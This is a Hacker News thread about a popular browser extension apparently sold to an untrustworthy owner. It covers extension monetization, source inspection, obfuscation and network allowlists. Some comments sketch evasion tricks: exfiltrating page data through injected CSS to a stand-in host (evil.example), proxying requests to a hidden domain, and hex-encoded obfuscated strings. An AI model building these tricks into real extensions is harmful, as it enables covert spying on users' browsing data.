       | rights, and existing codebase until it is drained by
       | obsolescence.
       | 
       | A really disgusting way to treat a community by both parties. One
       | can only hope that Mr. Oemcke desperately needed the money for
       | some vital purpose.
        
       | praptak wrote:
       | What prevents bad actors from buying a popular extension and
       | rolling out malicious code to everyone who uses the extension?
       | 
       | I mean except the integrity of extension developers.
        
         | mcjiggerlog wrote:
         | Nothing. I own a few extensions with users in the tens of
         | thousands and receive so many emails from people/business
         | trying to buy out the extensions for "monetization".
         | 
         | This is a huge issue and Google is doing absolutely nothing to
         | address it.
        
         | bhouston wrote:
         | This is happening repeatedly. Each extension can possibly go
         | bad at any time if the dev decides to cash out.
        
           | praptak wrote:
           | That's weird, I think this story is the second one ever that
           | I read on this topic, so I assumed it's rare.
        
       | yoloswagins wrote:
       | I did the work of downloading a forked version [1] of the
       | extension and disabling the mainline extension.
       | 
       | In doing so, I lost about 60 suspended tabs, with no record in
       | history as to what they were.
       | 
       | In some ways, this is like a weight off my back. On the other
       | hand, I was going to read those tabs, I swear!
       | 
       | Oh well, time for me to search jstor for a history of copper mine
       | consolidation, again.
       | 
       | [1] https://github.com/aciidic/thegreatsuspender-notrack
        
       | lapcatsoftware wrote:
       | We need to talk about how difficult it is to monetize browser
       | extensions. Most of these problems occur when a reputable
       | extension gets sold to a less reputable owner, frequently for a
       | relatively small amount of money (4-5 figures). Even very popular
       | extensions have a hard time monetizing. Unfortunately, Chrome has
       | recently made the situation worse by deprecating Chrome Web Store
       | payments, and Firefox eliminated their paid extension store
       | several years ago.
       | 
       | If the only way to monetize an extension is to exploit its users
       | for data, this kind of thing is going to keep happening. It's
       | perfectly understandable how someone who is doing a lot of work
       | for no pay will eventually get tired of it or have other
       | priorities in life, which is what happened in this case. Perhaps
       | we all need to stop taking it for granted that browser extensions
       | ought to be free? Or maybe the browser vendors themselves can
       | find ways of financially supporting extension authors. I feel
       | that money is essential to both the problem and the solution.
       | 
       | Of course, paid upfront software gets sold to new owners too. But
       | if the software is paid upfront, the expectation is that the new
       | owner will perhaps do a better job of maintaining and marketing
       | the software, and that's why the new owner buys it. When the
       | software is paid, the new owner has an opportunity to make money
       | legitimately, without secretly exploiting the existing user base.
        
         | Lammy wrote:
         | > We need to talk about how difficult it is to monetize browser
         | extensions.
         | 
         | Sounds like a feature to me :)
        
         | Nextgrid wrote:
         | I think we need to also talk more about our legal system's
         | inability/unwillingness to deal with malware-like behavior that
         | should definitely fall afoul of the CFAA. Being in an industry
         | where monetization is difficult shouldn't be a free pass to
         | behave maliciously like that.
         | 
         | The problem here isn't exploiting user's data; that is not
         | necessarily bad as long as the user is kept informed and
         | accepts. The problem is that the current maintainers are
         | essentially handing over code execution privileges on millions
         | of machines to an untrustworthy actor and that actor
         | intentionally exploits this to run spyware-like code on those
         | machines without their user's knowledge nor consent.
        
       | arusahni wrote:
       | I wrote a browser extension that interacted with a password
       | manager.
       | 
       | I receive almost-weekly messages from folks offering to buy my
       | extension.
        
       | blindm wrote:
       | I am one of the few people that inspects the source-code of
       | extensions. It's easy to do, for Firefox for example, just right-
       | click and save-as in the extensions site, then rename your
       | extension to a .zip file and extract e.g:
       | addon.xpi --> addon.zip
       | 
       | Then manually sift through the code looking for obvious malicious
       | intent (or not so obvious malicious intent if the author is doing
       | obfuscation). Note: obfuscation is a red flag! A simple scan for
       | `https://` / 'http://' would usually yield interesting URLs where
       | data is sent. I have actually spotted malicious addons in the
       | wild this way and reported them to Mozilla. They were thankfully
       | removed.
       | 
       | Note: Obfuscation is NOT the same as minification, and I don't
       | mean minification when using the word obfuscation!
        
         | gnaman wrote:
         | > Note: obfuscation is a red flag
         | 
         | And why is this? Unless the extension source is already public,
         | I don't see any reason why anyone would not use obfuscation
        
           | megous wrote:
           | I've found extensions doing malicious things that were not
           | obfuscated, by inspecting the code. Obfuscated code is just
           | not worth installing at all. Too much work, for little
           | benefit, to review it, when alternatives exist.
        
           | tobylane wrote:
           | Then it's a sign that they haven't open sourced their
           | extension, which is a red flag. Minification may be
           | acceptable though pointless.
        
             | eyelidlessness wrote:
             | Minification isn't necessarily pointless, depending on the
             | tooling used. While the JS doesn't have a wire cost, it
             | does have a parsing and execution cost. Optimizing
             | compilers like (say) Google Closure Compiler can
             | significantly improve runtime cost, which is definitely a
             | benefit for extension users.
             | 
             | That said, any extension using those tools without source
             | code available and build verification should definitely be
             | viewed with suspicion.
        
             | blindm wrote:
             | Note: Obfuscation is NOT the same as minification, and I
             | don't mean minification when using the word obfuscation!
        
           | blindm wrote:
           | > And why is this?
           | 
           | I'm not saying all obfuscation is necessarily bad, just
           | something to look out for if you're trying to sleuth around
           | for malicious intent by the addon's author.
           | 
           | Typically if you want to hide the fact you are collecting the
           | browsing secrets of the addon's user, you would use some form
           | of obfuscation (in order to have the addon in good standing
           | by Mozilla and to stop a simple sweep by people like myself
           | who first look for things like http:/https: in the source).
           | 
           | Note: Obfuscation is NOT the same as minification, and I
           | don't mean minification when using the word obfuscation!
        
         | superkuh wrote:
         | Unfortunately if you modify the extension at all the Mozilla
         | will not allow you to use it in Firefox branded browsers. So
         | while it is nice you can look, you cannot change if you use
         | Firefox. This has been the case since Firefox 37. I assume
         | Chrome jumped the shark even earlier.
        
           | mmis1000 wrote:
           | If you are not going to list it on the store page. Mozilla
           | has a process thst allow you to sign add-on automatically
           | unlisted without review(you do still need a free account).
        
             | alternatetwo wrote:
             | Or just use the developer edition and enable unsigned
             | extensions.
        
               | superkuh wrote:
               | Developer edition is a beta (or alpha since it derived
               | from aurora line which came from alpha). You can say it
               | doesn't have bugs but it has more than release editions.
               | In my experience many more. Using a beta as a daily
               | driver is not something to recommend.
               | 
               | Now, some distros like Debian have enough political power
               | to get Mozilla to allow them to put Firefox branding on
               | their altered user-freedoms-respecting repo editions of
               | FF release. But most don't. So the only way to use actual
               | release FF is to go outside your repos and use the
               | unbranded version. Possible, of course, but tedious.
        
             | superkuh wrote:
             | It just highlights that the whole process is awkward
             | security theater. The only security is Moz being able to
             | revoke access.
        
         | loeg wrote:
         | How do you distinguish minification from obfuscation? I mean,
         | minified JS is essentially illegible to me.
        
           | ufmace wrote:
           | Minifying usually doesn't touch string literals. If you have
           | a function like connectToSite, and tell it to connect to
           | "https://mysite.com/", then minification will rename
           | connectToSite to just the letter "a", but the site URL stays
           | the same and will be easy to search for in the code. If you
           | want to connect to www.evil.com and make it not clear, you'd
           | have to do stuff that results in longer code, like split it
           | up into individual characters, add number values to them to
           | get different characters, and string cat a bunch of them
           | together to get the final URL string.
        
           | alternatetwo wrote:
           | You can run it through a beautifier and get it readable
           | again.
        
             | loeg wrote:
             | I don't think that's true. I don't think any tool can
             | automatically recreate meaningful symbol names once they
             | have been destroyed (absent things like debuginfo, which is
             | irrelevant in the javascript context).
        
           | szaroubi wrote:
           | To me, minifaction will rename
           | reallyClearFunctionName("string param") to a("string param").
           | While obfuscation would also encrypt the "string param" and
           | then decrypt it at runtime. Minification's main purpose is to
           | reduce the size, obfuscation will go one step futher and make
           | it difficult to understand what is going on. Side note, it
           | can be obfuscated but "maxified" (if that is a thing).
           | 
           | Side note: the joke goes that Perl is a write only language
           | as it is difficult to read it and understand it. Some twisted
           | souls decided to create the obfuscated perl content:
           | https://en.wikipedia.org/wiki/Obfuscated_Perl_Contest
           | 
           | For a list of some of the winners:
           | https://www.foo.be/docs/tpj/issues/vol4_3/tpj0403-0017.html
        
             | the8472 wrote:
             | Advanced minification might do more optimizations than just
             | shortening names though. In the extreme case you might have
             | a sort of optimizing compiler that performs the equivalent
             | of `-Os` which can make code quite unreadable.
             | 
             | But yes, even that shouldn't be encrypting strings.
        
             | loeg wrote:
             | Sure. You could also imagine a better minifier compressing
             | string constants to save even more size.
        
           | shbooms wrote:
           | from what i undersand, minification just involves removing
           | line breaks and tabs and can be un-minified fairly easily
           | with tools such as https://beautifier.io/. obfuscation
           | involves techniques such as changing function/variable names
           | from human-readable to human-unreadable, changing certain
           | strings to concated variations of themselves, base64 encoded,
           | or other similar transformations.
           | 
           | e.g. original code:
           | 
           | function NewObject()
           | 
           | {
           | 
           | var mainApiUrl="https://google.com";
           | 
           | }
           | 
           | minified code:
           | 
           | function NewObject(){var mainApiUrl="https://google.com";}
           | 
           | obfuscated code:
           | 
           | var _0x8275=["\x68\x74\x74\x70\x73\x3A\x2F\x2F\x67\x6F\x6F\x6
           | 7\x6C\x65\x2E\x63\x6F\x6D"];function ahyt56(){var
           | _0xb40bx2=_0x8275[0]}
        
             | wging wrote:
             | Minifiers also reduce variable and function names to a
             | minimal size, one character wherever possible. They do
             | other things too... such as remove semicolons that are not
             | needed (not in general possible, especially if you've
             | gotten rid of line breaks, but can be done in the last
             | statement of a block or function, for example.) The idea is
             | to optimize for bits sent over the wire.
             | 
             | function a(){var b="https://google.com"}
             | 
             | That's why it's difficult to read minified code even if
             | it's not obfuscated to the further extent that you
             | sometimes see in attack payloads.
        
             | loeg wrote:
             | They usually also reduce variable and function names to
             | single letters, or as short a unique sequence as possible.
             | E.g.,                 function a(){var
             | b="https://google.com";}
        
         | Triv888 wrote:
         | Maybe Mozilla could list on the Addon's page a list of
         | domains/IP addresses where data is being sent. A Bit like a
         | table of Nutritional Facts for food, but for extensions.
        
           | blindm wrote:
           | > A Bit like a table of Nutritional Facts for food, but for
           | extensions.
           | 
           | Great idea!
        
           | Abishek_Muthian wrote:
           | Perhaps even a need gap for 'little snitch for browser
           | extensions' as a browser extension(Considering OS LS or
           | similar usually gets whitelisted for 80/433 with browsers).
           | 
           | Is it even possible or would the sandbox prevent such an
           | extension from functioning?
        
             | Triv888 wrote:
             | Yes, there is probably many extensions that make outside
             | connections that don't add benefit to the user by doing so.
             | 
             | I wish I could block per-app connections on Linux like
             | Little Snitch appear to allow on Mac.
        
               | dylan604 wrote:
               | Isn't Little Snitch essentially an interactive firewall?
               | Rather than silently denying/allowing traffic, it needs
               | the user's decision until a connection is white/black
               | listed? Why would this not be allowed on Linux? (other
               | than the app doesn't exist, yet)
        
               | gus_ wrote:
               | https://github.com/evilsocket/opensnitch
               | 
               | However, if you allow everything to 80/443, the
               | extensions would still be able to connect to their
               | servers. Maybe the browsers should add the ability to
               | allow/deny connections per extension.
               | 
               | https://github.com/gustavo-iniguez-
               | goya/opensnitch/issues/21
        
               | Abishek_Muthian wrote:
               | Every once in a while something comes up trying to be
               | 'Little Snitch for Linux' but none has survived AFAIK, To
               | be honest one of the reasons I use macOS is for LS and
               | I've heard few others say that too. But now since macOS
               | is bypassing LS or limiting its function or to put it
               | simply doing weird network stuff I'm planning to get back
               | to Linux.
        
               | the8472 wrote:
               | This is entirely possible. Either by isolating the
               | application into a network namespace (e.g. via firejail
               | or systemd units), with selinux labels, running the
               | process under a custom gid and various other mechanisms.
        
               | Triv888 wrote:
               | Anything is possible, but is it relatively easy to block
               | all apps and keep a whitelist of allowed apps?
        
               | the8472 wrote:
               | I have not done that on a desktop but seen it on servers
               | with selinux, each service we added had to be labeled
               | properly to get network access, one extra line in the
               | deployment script. I'm not aware of an GUI tools though,
               | if that's what you're asking. I think that's also the
               | approach android uses to enforce app permissions, they
               | obviously have a gui but that doesn't integrate with
               | normal desktop environments.
        
             | the8472 wrote:
             | Extensions used to be able to even network requests
             | triggered by browser internals and by other extensions. I
             | think with webextensions this is no longer possible.
        
             | Abishek_Muthian wrote:
             | Correction: I meant 80/443 usually gets allowed for entire
             | browser on Little Snitch, so browser extensions dialing
             | something gets through that.
        
           | gruez wrote:
           | So bad guys will route all traffic through a proxy instead?
           | eg.                   this addon connects to:         *
           | https://484044b296.execute-api.us-east-1.amazonaws.com
        
             | Triv888 wrote:
             | I always considered proxies, url shorteners, etc to be
             | suspicious in the first place. Some more investigation
             | would be required in some cases.
        
               | gruez wrote:
               | >I always considered proxies, url shorteners, etc to be
               | suspicious in the first place
               | 
               | It doesn't have to be as overt making it look like a
               | proxy (eg. a endpoint that makes arbitrary http requests
               | on behalf of the caller). It can be as simple as changing
               | the endpoint for the spying service from
               | https://evil.example.com/api/ to
               | https://484044b296.execute-api.us-
               | east-1.amazonaws.com/evil/...
               | 
               | > Some more investigation would be required in some
               | cases.
               | 
               | The point is that the "nutrition facts label" doesn't
               | really do anything because it's trivial to bypass. If it
               | becomes widespread I guarantee every malicious addon
               | maker would adopt this tactic.
        
               | Triv888 wrote:
               | Of course it would not be the only element in the table.
               | But either way, it would at least tell you that an
               | extension is leaking data when it isn't supposed to leak
               | data (for extensions that should not require an Internet
               | connection).
        
               | ashtonkem wrote:
               | I personally would find such an inscrutable name
               | suspicious.
        
               | gruez wrote:
               | Why? Would connecting to "api.example.com" be less
               | suspicious? The same issue would still be present
               | (namely, smuggling requests to "shady" domains using a
               | mundane domain), and the only difference would be that it
               | demonstrates the author paid $10/yr for the domain.
        
               | ashtonkem wrote:
               | I should be able to clearly determine the intention of
               | any domain that an extension is going to call. Anything
               | that tries to obsfucate the actual underlying purpose is
               | a red flag.
               | 
               | One might not like Google analytics, but at least you
               | know exactly what you're going to get when someone calls
               | analytics.google.com.
        
               | [deleted]
        
           | 542458 wrote:
           | Wouldn't that be impossible to do as you'd have to somehow
           | execute every code path in the plugin? The domains don't have
           | to exist as strings - there are lots of ways to obfuscate
           | network requests.
        
             | gruez wrote:
             | Depending on how you approach it you either end up having
             | to solve the halting problem (spoiler: it's impossible), or
             | restricting what domains an addon can connect to (also
             | impossible given the way addons work. they can inject
             | arbitrary scripts into pages to make requests for them).
        
               | paulryanrogers wrote:
               | It's possible to make extensions declare which hostnames
               | or registrable domains they need to communicate with.
               | (Apart from pages in which they can run which is already
               | defined with WebExtensions.)
        
               | Triv888 wrote:
               | But you have all the code and you know which
               | functions/methods/etc that can do requests so it should
               | be trivial... either way, if it is not a solvable
               | problem, there is a major problem in the design.
        
               | gruez wrote:
               | >But you have all the code and you know which
               | functions/methods/etc that can do requests so it should
               | be trivial
               | 
               | but you can't. See the last part of my comment: "they can
               | inject arbitrary scripts into pages to make requests for
               | them".
               | 
               | >either way, if it is not a solvable problem, there is a
               | major problem in the design.
               | 
               | Not really. It's like complaining that debuggers can
               | impersonate programs they attach themselves to.
        
               | Triv888 wrote:
               | > they can inject arbitrary scripts into pages to make
               | requests for them
               | 
               | disallow that behavior?
               | 
               | You could also just pull that code but it might change
               | based on request origin...
        
               | shawnz wrote:
               | That's one of the most fundamental functions a browser
               | extension could have
        
               | fennecfoxen wrote:
               | Lots of the best extensions are basically "change this
               | webpage when it loads to make it work better." You can't
               | "disallow this behavior" without crippling them.
        
               | Triv888 wrote:
               | It could do all the processing locally, easily... what
               | are you talking about?
        
               | gruez wrote:
               | >It could do all the processing locally, easily...
               | 
               | That's irrelevant. If you can make changes to the page,
               | you can exfiltrate data. The security model for addons
               | isn't designed with restricting an addon's network
               | activity in mind, see my other post:
               | https://news.ycombinator.com/item?id=25623281
        
               | gruez wrote:
               | Depends on what your addons does. Most addons modify the
               | page in some way. It's also not limited to injecting
               | javascript. You can also exfiltrate data by injecting css
               | (eg. doing something like background-image:
               | url("http://evil.example/?payload=...")) or do javascript
               | injection in alternate ways (eg. adding a <script>
               | element, or adding an onclick attribute).
        
             | ashtonkem wrote:
             | I think you're right if you're trying to enumerate where a
             | plug-in will call. However it's also possible to require
             | that a plug-in provide a list of domains it will call as
             | part of its manifest, display that list to the user and use
             | it as a white list for network access by the plug-in.
             | 
             | This ends up effect as magically determining where it'll
             | call, with a lot less work.
        
               | wlesieutre wrote:
               | Except the add on can inject js into webpages that you
               | have open and let the page make connections outside the
               | extension sandbox.
        
               | ashtonkem wrote:
               | Ah, that's clearly a big issue. Never mind.
        
               | lukevp wrote:
               | Also it's pretty easy to just proxy requests through a
               | whitelisted server side site so https://good.com is all
               | that shows but it requests good.com?dest=https://evil.com
        
               | [deleted]
        
               | Triv888 wrote:
               | Is that why Mozilla is blocking all addons on mobile
               | (except for the selected 11)? They need to fix that shit
               | or start adding useful features to Firefox... Not sure
               | why they arent blocking all extensions on desktop too if
               | they are so bad though.
        
             | fiddlerwoaroof wrote:
             | If you enumerate the ways browsers can make network
             | requests, and if you have access to the source code of the
             | extension, you could prepend the code with a bit of
             | JavaScript that replaces the various network-related
             | functions and methods with code that logs and/or validates
             | the URL before making a request.
        
               | whoopdedo wrote:
               | The attacker will then inspect itself to see if network
               | loggers are being used, or if it's running in a test
               | environment (network location, machine fingerprint,
               | et.al.) then adapt its behavior accordingly to avoid
               | setting off any warnings.
        
               | fiddlerwoaroof wrote:
               | No, I'm saying modify the source of the extension so that
               | the extension can only make requests to a whitelist of
               | urls. The extension might be able to disable malicious
               | functionality or something, but you can be certain that
               | it's not making malicious requests.
        
               | prox wrote:
               | On my android tablet they checked if my keyboard was
               | us/eu (rain down the malware) or russian/chinese (Keep
               | the app as-is)
               | 
               | And this was Google Play verified with a million
               | downloads.
        
         | llacb47 wrote:
         | You don't even need to do all that, just use
         | https://robwu.nl/crxviewer/
         | 
         | and insert the URL of the extension, for example
         | https://addons.mozilla.org/en-US/firefox/addon/decentraleyes...
         | .
        
           | wool_gather wrote:
           | This may be fine, but do note that you're inserting an extra
           | layer that you have to trust compared to inspecting the
           | source that you know is on your local disk.
           | 
           | Should they choose to, nothing stops the site you've linked
           | from masking malicious tidbits in code you request.
        
       | dawnerd wrote:
       | Wouldn't be perfect but I'd like to see the ability to prevent
       | extensions from making any web requests.
       | 
       | I'd also like them to not silently update in the background.
        
       | yodon wrote:
       | Many comments in the GitHub issue mention Tabs Outliner as an
       | alternative for the now-sketchy-looking The Great Suspender.
       | 
       | Speaking as a long time paid user of the free/paid Tabs Outliner,
       | I can't recommend it strongly enough.
       | 
       | [0]https://chrome.google.com/webstore/detail/tabs-
       | outliner/eggk...
        
         | nosianu wrote:
         | It does not seem to be open source though. The "Website" link
         | only points back to the Chrome store and I found no mention of
         | source code in the description. The Great Suspender at least
         | was available as open source so one could go from there and a)
         | notice that the release tags stopped, b) use the existing
         | source there.
        
       | tyingq wrote:
       | Chrome extensions are an interesting study in trust. Even with
       | their push for manifest v3, you can still run arbitrary JS on any
       | url. Which, of course, allows arbitrary spying and manipulation.
       | 
       | If they hobble that, though, a large portion of extensions become
       | useless. I don't personally see any real middle ground. It's
       | either a credible risk, or too complicated for practical use. The
       | way manifest v3 hobbles practically required things like
       | heuristics is a good example.
        
         | corytheboyd wrote:
         | I know it would break many extensions but I am of the opinion
         | the architecture is all wrong.
         | 
         | There instead should be clear APIs for some access to page
         | content (for example, right-click context menus, tab control
         | without content access, etc).
         | 
         | The idea will probably be met with opposition because I didn't
         | explain it well enough, but maybe someone will get the idea
         | hah.
         | 
         | I've worked on large chrome extensions that heavily rely on
         | hacking UI on top of page content and it's truly awful.
         | Everything you do feels liked it will break at the setup of a
         | feather, because it does. Sure, there are some ways of making
         | that LESS painful, but at the end of the day it will always be
         | dirty hacks.
        
         | Abishek_Muthian wrote:
         | I've had an extension which I downloaded for automatic tab
         | reloading on chrome insert porn ads into YouTube, I think the
         | extension was removed after reporting but considering Google
         | does take payment for publishing extensions (Unlike Mozilla)
         | and puts them through review; Why not do it right?
        
           | EdwardDiego wrote:
           | One of our testers had that addon installed, same issue with
           | porn ads.
        
       | tonymet wrote:
       | I stopped using Great Suspender a few years back when Chrome
       | built this in
       | https://developers.google.com/web/updates/2015/09/tab-discar...
       | 
       | I encourage people to disable all chrome extensions. They have
       | unprecedented access to your data (they can read your bank
       | credentials), and they are a big performance hit. e.g. using
       | Chrome Devtools you can see that Lastpass doubles page load
       | times.
       | 
       | You can use SimpleExtManager (only has perms to turn on /off
       | extensions) to turn everything off until you need them.
        
         | sizzle wrote:
         | What about useful things like ghostery and uMatrix?
        
           | tonymet wrote:
           | I keep a "temp" browser profile (chrome --> settings --> add
           | user profile) and install extensions there. That way you can
           | use ghostery on specific sites and it has no access to your
           | important data from your main profile
        
           | tonymet wrote:
           | They both have full access. some may say "do you trust these
           | publishers" - but the way extensions are designed, there's no
           | way to trust them. You have to be extremely vigilant and
           | inspect the code every time the extension updates, and you
           | aren't notified when there are updates.
           | 
           | I wouldn't install any extension permanently. I only keep
           | Lastpass and it's disabled until it's needed for login.
        
       | Lammy wrote:
       | If anyone is looking for an alternative, I'm a big fan of Auto
       | Tab Discard:
       | 
       | https://add0n.com/tab-discard.html
       | 
       | https://addons.mozilla.org/en-US/firefox/addon/auto-tab-disc...
       | 
       | https://chrome.google.com/webstore/detail/auto-tab-discard/j...
        
       | RandyRanderson wrote:
       | This type of developer 'switch' is becoming so common that I now
       | have to add my chrome extensions to google alerts so as to feel
       | safe. As a user below comments: "We need to talk about how
       | difficult it is to monetize browser extensions" b/c w/o this we
       | will see this continue.
        
       | hda111 wrote:
       | This is a problem with many package managers. Even if one
       | downloads a package in Emacs from MELPA. How can one be sure it's
       | not containing malware? Read through all code every in every
       | dependency after every update?
        
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